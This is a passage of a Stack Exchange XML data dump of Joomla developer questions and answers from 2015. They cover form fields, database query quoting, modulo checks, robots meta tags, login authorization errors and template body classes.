showon=&quot;itemid:-1&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;-1&quot;&amp;gt;Other&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here your &lt;code&gt;custom&lt;/code&gt; field will be displayed when value of &lt;code&gt;itemid&lt;/code&gt; field is -1.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-07-29T06:32:48.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10970" PostTypeId="2" ParentId="10967" CreationDate="2015-07-29T06:43:21.443" Score="1" Body="&lt;p&gt;The main problem with trying to disable a plugin in a template is that most plugin events are already fired at the time the template comes into play. So even if you could disable the plugin, it would be to late.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the template really shouldn't care at all about what extensions it shows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A much better approach would be to adjust the plugin itself and add a conditional there. If that is really needed.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-07-29T06:43:21.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10971" PostTypeId="2" ParentId="4442" CreationDate="2015-07-29T09:55:28.207" Score="2" Body="&lt;p&gt;The solution that worked for me is the same as Robert Went has on his blog.&#xA;Here it his:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;foreach($doc-&amp;gt;_links as $k =&amp;gt; $array){&#xA;  if($array['relation'] == 'canonical'){&#xA;    unset($doc-&amp;gt;_links[$k]);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3690" LastActivityDate="2015-07-29T09:55:28.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10972" PostTypeId="2" ParentId="10562" CreationDate="2015-07-29T10:00:42.990" Score="2" Body="&lt;p&gt;Hoping this helps someone; my path to tmp was correctly set within Joomla so to solve this problem I accessed the /tmp folder via FTP client and deleted the existing .zip update file that was in there. I then ran the update again and it worked perfectly.&lt;/p&gt;&#xA;" OwnerUserId="5653" LastActivityDate="2015-07-29T10:00:42.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10973" PostTypeId="1" CreationDate="2015-07-29T14:08:17.350" Score="0" ViewCount="181" Body="&lt;p&gt;How to set up an array so that instead of maximum - an array on multiples of 30 is shown&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e $max = 30, 60, 90, 120, 150......and so on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If array $max matches on multiple of 30, 60, 90, 120, 150, 180, 210..... then it should display message that limits are exhausted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Define the maximum Submissions&#xA;$max = 30;&#xA;&#xA;// Get the current logged in user.&#xA;$user = JFactory::getUser();&#xA;&#xA;// Get a database connection.&#xA;$db   = JFactory::getDbo();&#xA;$query   = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Setup the query.&#xA;$query-&amp;gt;select('COUNT('.$db-&amp;gt;qn('Username').')')&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__rsform_submissions'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('Username').'='.$db-&amp;gt;q($user-&amp;gt;get('username')));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$counter = $db-&amp;gt;loadResult();&#xA;&#xA;if ($counter = $max){&#xA;  $formLayout = '&amp;lt;p style=&quot;color:blue;&quot;&amp;gt;Your Limits are Exhausted &amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="12352" LastEditDate="2019-06-03T12:52:23.423" LastActivityDate="2019-06-03T12:52:23.423" Title="How to write a condition to check if a number is a multiple of 30?" Tags="|php|joomla-2.5|rsform|array|conditional-statements|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="10974" PostTypeId="2" ParentId="10973" CreationDate="2015-07-29T14:22:25.093" Score="0" Body="&lt;p&gt;In PHP, you have to write ($counter == $max), a &lt;a href=&quot;http://php.net/manual/en/language.operators.comparison.php&quot; rel=&quot;nofollow&quot;&gt;Comparison Operator&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, a single = is an &lt;a href=&quot;http://php.net/manual/en/language.operators.assignment.php&quot; rel=&quot;nofollow&quot;&gt;Assignment Operator&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if the value exceeds $max: ($counter &gt;= $max).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your query returns a number (count(...) -  loadResult). On the other hand, you can select for all matching records (&lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase#Multi-Row_Results&quot; rel=&quot;nofollow&quot;&gt;Multi-Row Results&lt;/a&gt;) and count the number of results (&lt;a href=&quot;http://php.net/manual/es/function.count.php&quot; rel=&quot;nofollow&quot;&gt;PHP's count&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-07-29T16:01:15.050" LastActivityDate="2015-07-29T16:01:15.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10975" PostTypeId="1" AcceptedAnswerId="10979" CreationDate="2015-07-29T14:45:05.870" Score="2" ViewCount="1142" Body="&lt;p&gt;I have written a database query, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select(&quot;u.*,ju.username,ju.email,ju.lastvisitDate as last_login&quot;)&#xA;    -&amp;gt;from(&quot;#__component_users AS u&quot;)&#xA;    -&amp;gt;leftJoin(&quot;#__users AS ju ON ju.id = u.uid&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I quote items in &lt;code&gt;select&lt;/code&gt; clause, especially when there is an alias?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="168" LastEditDate="2015-07-29T15:11:04.563" LastActivityDate="2015-07-29T16:36:40.433" Title="JDatabaseQuery quote correctly the items into select" Tags="|joomla-3.x|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10976" PostTypeId="1" CreationDate="2015-07-29T15:28:17.477" Score="0" ViewCount="197" Body="&lt;p&gt;Is it possible to add a task to module like how you add a task (other than display()) to a component's controller?&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2015-08-31T00:19:04.143" Title="Add a task for a module" Tags="|module|joomla-3.4|task|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10977" PostTypeId="2" ParentId="10973" CreationDate="2015-07-29T16:14:44.607" Score="3" Body="&lt;p&gt;So you are counting all submissions 1 user has and you want to display that message when the user has 30, 60, 90, ... submissions? That doesn't make much sense to me but the solution would be to change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($counter = $max){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($counter % $max == 0) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In computing, the modulo operation finds the remainder after division of one number by another&#xA;  &lt;a href=&quot;https://en.wikipedia.org/wiki/Modulo_operation&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Modulo_operation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Examples for $max = 30: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10 % 30 = 10 =&amp;gt; false [because 10 != 0]&#xA;29 % 30 = 29 =&amp;gt; false    &#xA;30 % 30 = 0  =&amp;gt; true    &#xA;59 % 30 = 29 =&amp;gt; false    &#xA;60 % 30 = 0  =&amp;gt; true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-07-29T16:14:44.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10978" PostTypeId="2" ParentId="10976" CreationDate="2015-07-29T16:21:08.180" Score="2" Body="&lt;p&gt;No it's not possible. You need a component to handle tasks in Joomla.&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-07-29T16:21:08.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10979" PostTypeId="2" ParentId="10975" CreationDate="2015-07-29T16:31:09.647" Score="3" Body="&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quoteName(mixed $name, mixed $as = null)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_quoteName&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_quoteName&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the quoteName-function you can quote column names. It accepts strings and arrays. A simple quote with alias (the AS) would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quoteName('ju.lastvisitDate', 'last_login')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$as (the second parameter) is always optional. So if you don't want to give your column an alias just write&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quoteName('ju.lastvisitDate')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With an array it would like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quoteName(array('ju.email', 'ju.lastvisitDate'), array(null, 'last_login'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the null value in the second array if you don't want to give a column an alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you don't use any reserved keywords or variables (e.g. submitted by the user) as column names I would not escape them. See also this:&#xA;&lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines#Secure_field_names&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Secure_coding_guidelines#Secure_field_names&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-07-29T16:36:40.433" LastActivityDate="2015-07-29T16:36:40.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10980" PostTypeId="1" AcceptedAnswerId="15666" CreationDate="2015-07-29T16:43:23.573" Score="1" ViewCount="860" Body="&lt;p&gt;Joomla is updated to 3.3 and create of a new module or duplicate existing module with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its possible to create a new, or duplicate modules but module id is 0 for each new module I create, so its not editable after saving you cant go to edit page because id is 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggests before you suggest to update it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this error with template Hathor :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;Duplicate entry '0-101' for key 'PRIMARY' SQL=INSERT INTO zm_modules_menu (moduleid,menuid) VALUES (0,101)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;another backend template show no error but same problem &lt;/p&gt;&#xA;" OwnerUserId="5655" LastEditorUserId="126" LastEditDate="2015-08-29T05:52:33.103" LastActivityDate="2016-03-13T12:05:16.440" Title="After Joomla update duplicate or create new module get id : 0" Tags="|module|sql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10982" PostTypeId="1" CreationDate="2015-07-29T19:14:36.150" Score="2" ViewCount="975" Body="&lt;p&gt;I have trouble with my new Joomla 3.x site (installed in localhost (WAMP 2.4) the day before) , my OS is windows XP Professional ,laptop DELL Inspiron 640m.&lt;br/&gt; I can't access neither the backend nor the frontend of my site, this is the error message i got &lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error You cannot access the private section of this site&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought it was a password issue so I changed my password (in users table with MD5 function) but no positive result.&lt;br/&gt;&#xA;Any advise.&lt;br/&gt;&#xA;Nadir. &lt;/p&gt;&#xA;" OwnerUserId="5657" LastEditorUserId="5657" LastEditDate="2015-07-29T19:56:43.037" LastActivityDate="2015-07-30T16:34:37.313" Title="Unable to access the admin section of my new joomla 3x site in localhost" Tags="|login|" AnswerCount="1" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="10984" PostTypeId="1" CreationDate="2015-07-29T23:27:00.390" Score="1" ViewCount="635" Body="&lt;p&gt;I have K2 blog and some articles have tags. When people click on tag e.g. &quot;summer&quot; they get all articles related to &quot;summer&quot; but that creates duplicated content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set all K2 tag pages to have no index, no follow robots rules?&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2015-08-29T18:58:40.510" Title="Block K2 tag pages from being indexed by search engine" Tags="|k2|tags|seo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10985" PostTypeId="2" ParentId="10980" CreationDate="2015-07-30T00:21:16.013" Score="1" Body="&lt;p&gt;Have you gone to your PHP my admin and manually adjusting the IDs in the module table and then tried duplicating a module? I would start there, export the sql file with the modules, do a quick search and replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then delete the existing modules, reimport the updated sql file.  Try to duplicate a module and then see what happens.&lt;/p&gt;&#xA;" OwnerUserId="5400" LastActivityDate="2015-07-30T00:21:16.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10986" PostTypeId="2" ParentId="10984" CreationDate="2015-07-30T00:29:43.153" Score="2" Body="&lt;p&gt;You may have to insert a meta tag manually for each page into a block of content that you do not want robots to index.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can go into your robots.txt file and disallow by url/path&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disallow: /page/to/your/path&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5400" LastEditorUserId="5400" LastEditDate="2015-07-30T18:38:22.337" LastActivityDate="2015-07-30T18:38:22.337" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10988" PostTypeId="2" ParentId="10953" CreationDate="2015-07-30T05:44:00.110" Score="1" Body="&lt;p&gt;By default, images/ folder can be directly accessed. Also, other common folders like media/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Robots.txt may help to block crawlers access to index. Still, these folders will be open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enact a hard restriction you have to define a general access rule to block public access. For example, in htaccess, to check for Joomla session cookie.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-30T05:44:00.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10989" PostTypeId="2" ParentId="10943" CreationDate="2015-07-30T05:48:32.417" Score="1" Body="&lt;p&gt;A common solution is to create a module, in this case &quot;Add to cart&quot; and then include it in the article with {loadmodule ....} syntaxis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: not my favourite solution, but it works.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-30T05:48:32.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10990" PostTypeId="1" CreationDate="2015-07-30T06:44:46.583" Score="3" ViewCount="503" Body="&lt;p&gt;I have developed a code to create dynamic textboxes on click of &quot;Add&quot; button using javascript - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Javascript&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function GetDynamicTextBox(value,index) {&#xA;    return&#xA;     '&amp;lt;input type=&quot;text&quot; name=&quot;jform[options][]&quot; id=&quot;jform_options_'+index+'&quot; value=&quot;&quot;&amp;gt;' +&#xA;       '&amp;lt;input type=&quot;button&quot; value=&quot;Remove&quot; class=&quot;remove btn-danger&quot; /&amp;gt;'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;formname.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;options][&quot; type=&quot;text&quot; label=&quot;Options&quot; multiple=&quot;true&quot; description=&quot;&quot;&amp;gt;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I click on Add button , it will append n number of textboxes . &#xA;But I am facing a problem in saving this field in database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;database&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;columnname = options, type= text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to save the values entered in textboxes in form of json. For this I am trying to override the controller save method-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;controllername.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($key = null, $urlVar = null){&#xA;&#xA;    if($_POST['jform']){&#xA;        $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;        $postData = $jinput-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;            $postData['options']=json_encode(implode(',',$postData['options'])); &#xA;        // Save it back to the $_POST global variable&#xA;        JRequest::setVar('jform', $postData, 'post');&#xA;    }&#xA;    // Finally, save the processed form data&#xA;    return parent::save('id', $urlVar);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But all the rest values in the form are saving but not the &quot;options field.&quot;&#xA;- Note: you can see the image attached to understand what i am trying to achieve&lt;a href=&quot;https://i.stack.imgur.com/7VXns.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7VXns.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any help would be appreicated&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user5491" LastEditorUserId="168" LastEditDate="2015-07-30T08:31:00.977" LastActivityDate="2015-08-31T06:29:24.953" Title="Save Dynamic Array of textboxes" Tags="|joomla-3.x|javascript|jform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10991" PostTypeId="2" ParentId="10982" CreationDate="2015-07-30T08:06:39.413" Score="1" Body="&lt;p&gt;The error message in Joomla when the username/password don't match are: Warning | Username and password do not match or you do not have an account yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your error seems to be related to the frontend, and the corresponding administrator section error would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You do not have access to the Administrator section of this site.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is all caused during the &quot;authorization&quot; process after you login.  Basically &quot;authentication&quot; completes successfully (in other words your username and password are correct) then the code looks to see what you're allowed, or authorized, to access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is triggered here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File: plugins/user/joomla/joomla.php&#xA;Function: onUserLogin&#xA;Line: (approx 198-207)&#xA;      // Check the user can login.&#xA;      $result = $instance-&amp;gt;authorise($options['action']);&#xA;&#xA;      if (!$result)&#xA;      {&#xA;           $this-&amp;gt;app-&amp;gt;enqueueMessage(JText::_('JERROR_LOGIN_DENIED'), 'warning');&#xA;           return false;&#xA;      }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you need to do is either reinstall your site, or look up issues with the ACL tables.  I would recommend reinstalling.&lt;/p&gt;&#xA;" OwnerUserId="3570" LastEditorUserId="3570" LastEditDate="2015-07-30T16:34:37.313" LastActivityDate="2015-07-30T16:34:37.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10992" PostTypeId="1" AcceptedAnswerId="10999" CreationDate="2015-07-30T10:20:17.203" Score="2" ViewCount="730" Body="&lt;p&gt;I want to learn how to develop Joomla 3 templates. &#xA;Looking at the code in protostar template, there is a problem for me. I don't know what is the usage of active variables: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ Detecting Active Variables&#xA;$option   = $app-&amp;gt;input-&amp;gt;getCmd('option', '');&#xA;$view     = $app-&amp;gt;input-&amp;gt;getCmd('view', '');&#xA;$layout   = $app-&amp;gt;input-&amp;gt;getCmd('layout', '');&#xA;$task     = $app-&amp;gt;input-&amp;gt;getCmd('task', '');&#xA;$itemid   = $app-&amp;gt;input-&amp;gt;getCmd('Itemid', '');&#xA;$sitename = $app-&amp;gt;get('sitename');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5661" LastEditorUserId="126" LastEditDate="2015-08-21T18:42:50.490" LastActivityDate="2015-08-21T18:42:50.490" Title="What is the usage of Joomla 3 active variables that defined in protostar template?" Tags="|joomla-3.x|development|templates|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10993" PostTypeId="1" AcceptedAnswerId="10995" CreationDate="2015-07-30T10:47:28.207" Score="1" ViewCount="68" Body="&lt;p&gt;I'm doing some work on an old joomla website which I can't upgrade at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have booking component that has a search &lt;strong&gt;module&lt;/strong&gt; which than redirects to component url like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite.com/lang_code/component/vikbooking/?option=com_vikbooking&amp;amp;task=search&amp;amp;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I usually do when I want to have more control over module placement on such pages is create hidden menu so that component can use that route instead of this generic one, but this time it doesn't work for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It didn't work with joomla 2.5 for quite a while now so I'm not sure if that is how it was done before 3.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need this so I can set &lt;code&gt;no index, no follow&lt;/code&gt; on search results for that component. (would rather avoid doing that with robots.txt)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea is much appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2015-07-30T13:27:10.617" Title="Component doesn't use route Joomla 2.5.28" Tags="|module|menu|seo|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10994" PostTypeId="1" AcceptedAnswerId="11015" CreationDate="2015-07-30T11:26:03.023" Score="1" ViewCount="133" Body="&lt;p&gt;If you go to &quot;Content&quot;, &quot;Category Manager&quot;, you can unpublish categories by clicking on the green tick icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the point of doing so? The articles in that category are still published and still publicly available.&lt;/p&gt;&#xA;" OwnerUserId="5239" LastActivityDate="2015-07-31T23:49:48.567" Title="What does unpublishing a category do?" Tags="|articles|category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10995" PostTypeId="2" ParentId="10993" CreationDate="2015-07-30T13:27:10.617" Score="1" Body="&lt;p&gt;It is Ok to create hidden menu items for better content managament.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, you have to be sure that Itemid is associated with generated Urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not so obvious how to associate Itemid. Each extension implements its own recipe:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A single fixed Itemid&lt;/li&gt;&#xA;&lt;li&gt;Multiple Itemids, one for each available menu option&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have a raw Url, you can look for the main extension Itemid (... or hardcode it), or you have to query menu items with a &quot;needle&quot; definition to find the best match (for example, in a category hierarchy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: About &quot;no index, no follow&quot;, you can solve it with a simple module override layout customization.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-30T13:27:10.617" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10996" PostTypeId="2" ParentId="10994" CreationDate="2015-07-30T19:08:02.700" Score="1" Body="&lt;p&gt;With categories you filter through content.  Say I have an article and I want to display all the content associated with the category of &quot;Cats&quot;.  This category needs to be published in order for the filtering to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is primarily useful for blog posts, or if you have a shopping cart.  The idea is to get all these similar things onto one relative article with as little effort as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="5400" LastActivityDate="2015-07-30T19:08:02.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10997" PostTypeId="2" ParentId="10992" CreationDate="2015-07-30T19:13:57.623" Score="-2" Body="&lt;p&gt;I have just the thing for you to look over. You can download these which might help you understand templating in Joomla!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This first is your vary basic bare bones Joomla! Template, you can get it &lt;a href=&quot;https://github.com/NicholasEli/Blank_Joomla_Template/archive/master.zip&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next is one that I have been actively up keeping as developer stack.  It has things like the ability to edit module layout, you may want to check this out at a later time. &lt;a href=&quot;https://github.com/NicholasEli/flux/archive/master.zip&quot; rel=&quot;nofollow&quot;&gt;Click here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these project can be found on my github &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/NicholasEli/flux/archive/master.zip&quot; rel=&quot;nofollow&quot;&gt;https://github.com/NicholasEli/flux/archive/master.zip&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/NicholasEli/Blank_Joomla_Template/archive/master.zip&quot; rel=&quot;nofollow&quot;&gt;https://github.com/NicholasEli/Blank_Joomla_Template/archive/master.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5400" LastActivityDate="2015-07-30T19:13:57.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10999" PostTypeId="2" ParentId="10992" CreationDate="2015-07-30T19:35:30.767" Score="3" Body="&lt;p&gt;These variables were added to the top of the &lt;em&gt;index.php&lt;/em&gt; allowing developers to assign the variables to HTML elements, primarily the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag, and thus applying styling for each individual element in any view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Variables:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $option   = $app-&amp;gt;input-&amp;gt;getCmd('option', '');&#xA;  $view     = $app-&amp;gt;input-&amp;gt;getCmd('view', '');&#xA;  $layout   = $app-&amp;gt;input-&amp;gt;getCmd('layout', '');&#xA;  $task     = $app-&amp;gt;input-&amp;gt;getCmd('task', '');&#xA;  $itemid   = $app-&amp;gt;input-&amp;gt;getCmd('Itemid', '');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Body Tag:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;site &amp;lt;?php echo $option&#xA;    . ' view-' . $view&#xA;    . ($layout ? ' layout-' . $layout : ' no-layout')&#xA;    . ($task ? ' task-' . $task : ' no-task')&#xA;    . ($itemid ? ' itemid-' . $itemid : '');&#xA;?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now if you view the homepage of my newly installed Joomla site, you will see something like the following markup in your browser inspector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;site com_content view-category layout-blog no-task itemid-101&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you go to the Joomla login page, you will see something like this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;site com_users view-login no-layout no-task itemid-115&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now lets say for a very basic example, you wanted a white background on the homepage but a black background on the login page, you can simply add the following to your CSS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.com_content {&#xA;    background: #FFF;&#xA;}&#xA;body.com_users {&#xA;    background: #000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" 